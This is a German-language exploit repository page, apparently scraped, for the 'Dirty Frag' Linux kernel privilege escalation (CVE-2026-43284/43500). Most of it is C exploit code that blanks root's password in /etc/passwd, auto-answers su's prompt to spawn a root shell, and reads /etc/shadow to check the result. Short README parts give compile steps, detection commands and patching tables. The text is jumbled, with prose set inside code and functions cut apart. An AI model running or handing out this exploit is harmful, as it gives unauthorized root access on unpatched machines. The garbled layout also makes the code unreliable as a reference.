/* Sanity-check: chars 4-5 = "::", 6-7 = "0:", 8-9 = "0:", 15 = ':'. */
{
const char *m = (const char *)map;
int ok = (m[4] == ':' && m[5] == ':' &&
m[6] == '0' && m[7] == ':' &&
m[8] == '0' && m[9] == ':' &&
m[15] == ':');
if (!ok) {
WARN("post-trigger sanity check failed — char layout off");
return 4;
}
}
fprintf(stderr,
"\n[!!!] HIT — root entry now has empty passwd field, uid=0, "
"gid=0, dir=/root, shell=/bin/bash.\n");
/* === STAGE 3 — VERIFY VIA getent passwd root === */
fprintf(stderr,
"\n=== STAGE 3: independent verify via `getent passwd root` ===\n");
{
int p[2];
if (pipe(p) == 0) {
pid_t pid = fork();
if (pid == 0) {
close(p[0]);
dup2(p[1], 1);
dup2(p[1], 2);
close(p[1]);
execlp("getent", "getent", "passwd", "root", NULL);
_exit(127);
}
close(p[1]);
char buf[1024];
ssize_t r = read(p[0], buf, sizeof(buf) - 1);
close(p[0]);
int wstatus = 0;
waitpid(pid, &wstatus, 0);
if (r > 0) {
buf[r] = 0;
fprintf(stderr, "[getent passwd root] %s", buf);
}
fprintf(stderr,
"[+] PRIMITIVE proven: root entry has empty passwd field "
"via NSS.\n");
}
}
/* Honour `--corrupt-only` arg or DIRTYFRAG_CORRUPT_ONLY=1 env so
* the chain wrapper can skip the in-process su PTY stage and exec
* /usr/bin/su itself. Avoids the flaky posix_openpt bridge. */
{
int co_flag = 0;
for (int i = 1; i < argc; i++)
if (!strcmp(argv[i], "--corrupt-only")) { co_flag = 1; break; }
const char *e = getenv("DIRTYFRAG_CORRUPT_ONLY");
if (e && *e == '1') co_flag = 1;
if (co_flag) return 0;
}
/* === STAGE 4 — `su` (target=root, no password input) ===
* PAM common-auth contains "auth [success=2 default=ignore]
* pam_unix.so nullok" — so a target user with empty passwd field
* + nullok flag accepts an empty password. We auto-inject a
* single newline on the "Password:" prompt and then bridge the
* resulting bash to the user's tty. */
fprintf(stderr,
"\n=== STAGE 4: spawning interactive root shell via `su` "
"(no password input needed) ===\n\n");
fflush(stderr);
int master = posix_openpt(O_RDWR | O_NOCTTY);
if (master < 0 || grantpt(master) < 0 || unlockpt(master) < 0) {
WARN("posix_openpt: %s", strerror(errno));
return 5;
}
char *slave_name = ptsname(master);
struct winsize ws;
if (ioctl(STDIN_FILENO, TIOCGWINSZ, &ws) == 0) {
ioctl(master, TIOCSWINSZ, &ws);
}
pid_t pid = fork();
if (pid < 0) { WARN("fork: %s", strerror(errno)); return 5; }
if (pid == 0) {
/* child */
setsid();
int slave = open(slave_name, O_RDWR);
if (slave < 0) _exit(127);
ioctl(slave, TIOCSCTTY, 0);
dup2(slave, 0); dup2(slave, 1); dup2(slave, 2);
if (slave > 2) close(slave);
close(master);
/* `su` with no args targets root. PAM common-auth's pam_unix.so
* nullok accepts the empty passwd we planted in /etc/passwd. */
execlp("su", "su", NULL);
_exit(127);
}
/* parent: bridge user's tty <-> master. */
struct termios saved_termios;
int saved_termios_ok = (tcgetattr(STDIN_FILENO, &saved_termios) == 0);
if (saved_termios_ok) {
struct termios raw = saved_termios;
cfmakeraw(&raw);
tcsetattr(STDIN_FILENO, TCSANOW, &raw);
}
int auto_pw_sent = 0;
int stdin_eof = 0; /* set when stdin closes (e.g. /dev/null) */
char buf[4096];
/* If LPE_AUTO_VERIFY=1 is set, the bridge will inject
* `id; whoami; exit\n` so it can prove uid=0 non-interactively
* (e.g. when stdin is /dev/null in CI). */
int auto_verify = 0;
{
const char *e = getenv("LPE_AUTO_VERIFY");
if (e && *e == '1') auto_verify = 1;
}
int verify_sent = 0;
int total_ms = 0;
for (;;) {
struct pollfd pfds[2] = {
{ stdin_eof ? -1 : STDIN_FILENO, POLLIN, 0 },
{ master, POLLIN, 0 },
};
int pr = poll(pfds, 2, 200);
if (pr < 0 && errno != EINTR) break;
total_ms += 200;
if (pfds[1].revents & POLLIN) {
ssize_t n = read(master, buf, sizeof(buf));
if (n <= 0) break;
(void)write(STDOUT_FILENO, buf, n);
if (!auto_pw_sent && (size_t)n < sizeof(buf)) {
buf[n] = 0;
if (strstr(buf, "Password") || strstr(buf, "password")) {
/* Empty password — PAM nullok will accept it.
* (When pam_unix sees an empty passwd field plus
* nullok it skips the prompt entirely; this branch
* handles the case where some other PAM module
* prints a prompt anyway.) */
(void)write(master, "\n", 1);
auto_pw_sent = 1;
}
}
}
if (!stdin_eof && (pfds[0].revents & POLLIN)) {
ssize_t n = read(STDIN_FILENO, buf, sizeof(buf));
if (n <= 0) {
/* stdin EOF — stop reading from it but keep bridging
* master → stdout so su can still finish auth and run
* the optional auto-verify command. */
stdin_eof = 1;
} else {
(void)write(master, buf, n);
}
}
if (pfds[1].revents & (POLLHUP | POLLERR)) break;
/* Auto-verify: ~1 s after spawn, send `id; whoami; exit\n` so
* the bridge captures uid=0 evidence non-interactively even
* when pam_unix's blank-passwd path skips the prompt. */
if (auto_verify && !verify_sent && total_ms >= 1000) {
const char cmd[] = "id; whoami; cat /etc/shadow | head -2; exit\n";
(void)write(master, cmd, sizeof(cmd) - 1);
verify_sent = 1;
}
int status;
pid_t w = waitpid(pid, &status, WNOHANG);
if (w == pid) {
for (int i = 0; i < 5; i++) {
struct pollfd pf = { master, POLLIN, 0 };
if (poll(&pf, 1, 50) <= 0) break;
ssize_t n = read(master, buf, sizeof(buf));
if (n <= 0) break;
(void)write(STDOUT_FILENO, buf, n);
}
break;
}
}
if (saved_termios_ok) {
tcsetattr(STDIN_FILENO, TCSANOW, &saved_termios);
}
close(master);
return 0;
} /*
su -./usr/bin/su - inside a*/ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <fcntl.h> #include <sched.h> #include <poll.h> #include <signal.h> #include <termios.h> #include <sys/ioctl.h> #include <sys/wait.h> #include <sys/types.h> #include <stdint.h>
extern int su_lpe_main(int argc, char **argv); extern int rxrpc_lpe_main(int argc, char **argv);
/*
static int su_already_patched(void) { int fd = open("/usr/bin/su", O_RDONLY); if (fd < 0) return 0; uint8_t got[8]; ssize_t n = pread(fd, got, sizeof(got), 0x78); close(fd); if (n != sizeof(got)) return 0; return memcmp(got, su_marker, sizeof(su_marker)) == 0; }
static int passwd_already_patched(void) { int fd = open("/etc/passwd", O_RDONLY); if (fd < 0) return 0; char head[16]; ssize_t n = pread(fd, head, sizeof(head), 0); close(fd); if (n < 9) return 0; return memcmp(head, "root::0:0", 9) == 0; }
static int either_target_patched(void) { return su_already_patched() || passwd_already_patched(); }
static void silence_stderr(int *saved_fd) { *saved_fd = dup(STDERR_FILENO); int dn = open("/dev/null", O_WRONLY); if (dn >= 0) { dup2(dn, STDERR_FILENO); close(dn); } }
static void restore_stderr(int saved_fd) { if (saved_fd >= 0) { dup2(saved_fd, STDERR_FILENO); close(saved_fd); } }
static char **append_corrupt_only(int argc, char **argv, int *new_argc) { static char *flag = "--corrupt-only"; static char *buf[64]; int n = argc < 60 ? argc : 60; for (int i = 0; i < n; i++) buf[i] = argv[i]; buf[n] = flag; buf[n + 1] = NULL; *new_argc = n + 1; return buf; }
static void exec_su_login(void) { const char *paths[] = { "/bin/su", "/usr/bin/su", "/sbin/su", "/usr/sbin/su", NULL, }; for (int i = 0; paths[i]; i++) execl(paths[i], "su", "-", (char *)NULL); execlp("su", "su", "-", (char *)NULL); }
/*
Spawn /usr/bin/su - in a fresh PTY and bridge our tty to it.
*/
static int run_root_pty(void)
{
int master = posix_openpt(O_RDWR | O_NOCTTY);
if (master < 0)
return -1;
if (grantpt(master) < 0 || unlockpt(master) < 0) {
close(master);
return -1;
}
char *slave_name = ptsname(master);
if (!slave_name) {
close(master);
return -1;
}
struct winsize ws; if (ioctl(STDIN_FILENO, TIOCGWINSZ, &ws) == 0) ioctl(master, TIOCSWINSZ, &ws);
pid_t pid = fork(); if (pid < 0) { close(master); return -1; } if (pid == 0) { setsid(); int slave = open(slave_name, O_RDWR); if (slave < 0) _exit(127); ioctl(slave, TIOCSCTTY, 0); dup2(slave, 0); dup2(slave, 1); dup2(slave, 2); if (slave > 2) close(slave); close(master); exec_su_login(); _exit(127); }
signal(SIGTTOU, SIG_IGN); signal(SIGTTIN, SIG_IGN); signal(SIGPIPE, SIG_IGN); signal(SIGHUP, SIG_IGN); (void)setpgid(0, 0); (void)tcsetpgrp(STDIN_FILENO, getpid());
struct termios saved_termios; int restore_termios = 0; if (tcgetattr(STDIN_FILENO, &saved_termios) == 0) { struct termios raw = saved_termios; cfmakeraw(&raw); if (tcsetattr(STDIN_FILENO, TCSANOW, &raw) == 0) restore_termios = 1; }
int auto_pw_sent = 0; int stdin_eof = 0; int saw_master_output = 0; int total_ms = 0; char buf[4096];
for (;;) { struct pollfd pfds[2] = { { stdin_eof ? -1 : STDIN_FILENO, POLLIN, 0 }, { master, POLLIN, 0 }, }; int pr = poll(pfds, 2, 200); if (pr < 0 && errno != EINTR) break; total_ms += 200;
if (pfds[1].revents & POLLIN) {
ssize_t n = read(master, buf, sizeof(buf));
if (n <= 0)
break;
saw_master_output = 1;
(void)write(STDOUT_FILENO, buf, n);
if (!auto_pw_sent && n < (ssize_t)sizeof(buf)) {
buf[n] = 0;
if (strstr(buf, "Password") ||
strstr(buf, "password")) {
(void)write(master, "\n", 1);
auto_pw_sent = 1;
}
}
}
if (!stdin_eof && (pfds[0].revents & POLLIN)) {
ssize_t n = read(STDIN_FILENO, buf, sizeof(buf));
if (n <= 0)
stdin_eof = 1;
else
(void)write(master, buf, n);
}
if (pfds[1].revents & (POLLHUP | POLLERR))
break;
if (!auto_pw_sent && !saw_master_output && total_ms >= 1500) {
(void)write(master, "\n", 1);
auto_pw_sent = 1;
}
int status;
pid_t w = waitpid(pid, &status, WNOHANG);
if (w == pid) {
for (int i = 0; i < 5; i++) {
struct pollfd pf = { master, POLLIN, 0 };
if (poll(&pf, 1, 50) <= 0)
break;
ssize_t n = read(master, buf, sizeof(buf));
if (n <= 0)
break;
(void)write(STDOUT_FILENO, buf, n);
}
break;
}
int main(int argc, char **argv) { int verbose = (getenv("DIRTYFRAG_VERBOSE") != NULL); int force_esp = 0, force_rxrpc = 0; int saved_err = -1; int rc = 1; int new_argc; char **co_argv;
for (int i = 1; i < argc; i++) {
if (!strcmp(argv[i], "--force-esp"))
force_esp = 1;
else if (!strcmp(argv[i], "--force-rxrpc"))
force_rxrpc = 1;
else if (!strcmp(argv[i], "-v") ||
!strcmp(argv[i], "--verbose"))
verbose = 1;
}
if (getuid() == 0) {
execlp("/bin/bash", "bash", (char *)NULL);
_exit(1);
}
co_argv = append_corrupt_only(argc, argv, &new_argc);
if (!verbose)
silence_stderr(&saved_err);
if (force_rxrpc) {
rc = rxrpc_lpe_main(new_argc, co_argv);
for (int i = 0; !passwd_already_patched() && i < 3; i++)
rc = rxrpc_lpe_main(new_argc, co_argv);
} else if (force_esp) {
rc = su_lpe_main(new_argc, co_argv);
} else {
rc = su_lpe_main(new_argc, co_argv);
if (!su_already_patched()) {
rc = rxrpc_lpe_main(new_argc, co_argv);
for (int i = 0; !passwd_already_patched() && i < 3; i++)
rc = rxrpc_lpe_main(new_argc, co_argv);
}
}
int patched = either_target_patched();
if (!verbose)
restore_stderr(saved_err);
if (patched) {
(void)run_root_pty();
return 0;
}
dprintf(2, "dirtyfrag: failed (rc=%d)\n", rc);
return rc ? rc : 1;
}
2. Für diese Erkundung verwende ich einen Nicht-Root-Benutzer namens karen.
<p align="center">
<img width="800" height="50" src="https://assets.kitploit.com/production/public/readmes/37608/c6bfa0590b54a4e0c88e4ef52e595c373c70990512ae9be8126b12f06b356553.png"
</p>
3. Kompilieren wir exp.c unten mit gcc.```
gcc -O0 -Wall -o exp exp.c -lutil
Überwachen Sie die verdächtige Verwendung von AF_RXRPC- oder AF_KEY-Sockets durch unerwartete Prozesse:```bash
lsmod | grep -E 'esp4|esp6|rxrpc'
grep 'su' /var/log/auth.log | tail -50
### Referenzen
- [NVD — CVE-2026-43284](https://nvd.nist.gov/vuln/detail/CVE-2026-43284)
- [oss-security-Offenlegung — Hyunwoo Kim](https://www.openwall.com/lists/oss-security/)
- [Red Hat-Sicherheitsbulletin — RHSB-2026-003](https://access.redhat.com/security/cve/cve-2026-43284)
- [Ubuntu-Sicherheit — CVE-2026-43284](https://ubuntu.com/security/CVE-2026-43284)
- [Debian Security Tracker](https://security-tracker.debian.org/tracker/CVE-2026-43284)
---
## Danke
Wenn dir dieser Beitrag geholfen hat, **Dirty Frag (CVE-2026-43284 / CVE-2026-43500)** zu verstehen oder zu entschärfen, erwäge, ihn mit deinem Team zu teilen oder diesem Repository einen ⭐ zu hinterlassen.
Korrekturen, Aktualisierungen und Beiträge sind willkommen; zögere nicht, ein Issue zu eröffnen oder einen Pull Request einzureichen.
> Dieses Dokument dient ausschließlich Schulungs- und Verteidigungszwecken im Bereich Sicherheit.
> Wende Patches immer über offizielle Distributionskanäle an und validiere Änderungen vor der Produktion in einer Testumgebung.
---
*Geschrieben von LucasDiniz · Zuletzt aktualisiert: Mai 2026*
<p align="center">
<img width="300" height="300" src="https://assets.kitploit.com/production/public/readmes/37608/5d53be905f5e3e8c0406a13f4fea74850966e6d356f42caed827b2f015e1e82c.gif">
</p>
}
if (restore_termios) tcsetattr(STDIN_FILENO, TCSANOW, &saved_termios); close(master); return 0; }
| Priorität | Aktion | Befehl |
|---|
| 🔴 Kritisch | Kernel aktualisieren | Siehe unten für Ihre Distribution |
| 🔴 Kritisch | In den gepatchten Kernel neu starten | sudo reboot |
| 🟠 Hoch | Verwundbare Module blockieren (falls kein Patch verfügbar) | Siehe Gegenmaßnahmen unten |
| 🟠 Hoch | Page-Cache nach der Gegenmaßnahme leeren | sudo sysctl -w vm.drop_caches=3 |
| 🟡 Mittel | Geladene Module überprüfen | lsmod | grep -E 'esp4|esp6|rxrpc' |
| 🟡 Mittel | Unnötigen Shell-/SSH-Zugriff einschränken | Benutzer und Berechtigungen überprüfen |
| Distribution | Befehl |
|---|
| RHEL / AlmaLinux / Rocky / CentOS | sudo dnf clean metadata && sudo dnf upgrade && sudo reboot |
| Ubuntu / Debian | sudo apt update && sudo apt upgrade && sudo reboot |
| Fedora | sudo dnf upgrade --refresh && sudo reboot |
| Arch Linux | sudo pacman -Syu && sudo reboot |
| Amazon Linux | sudo yum update kernel && sudo reboot |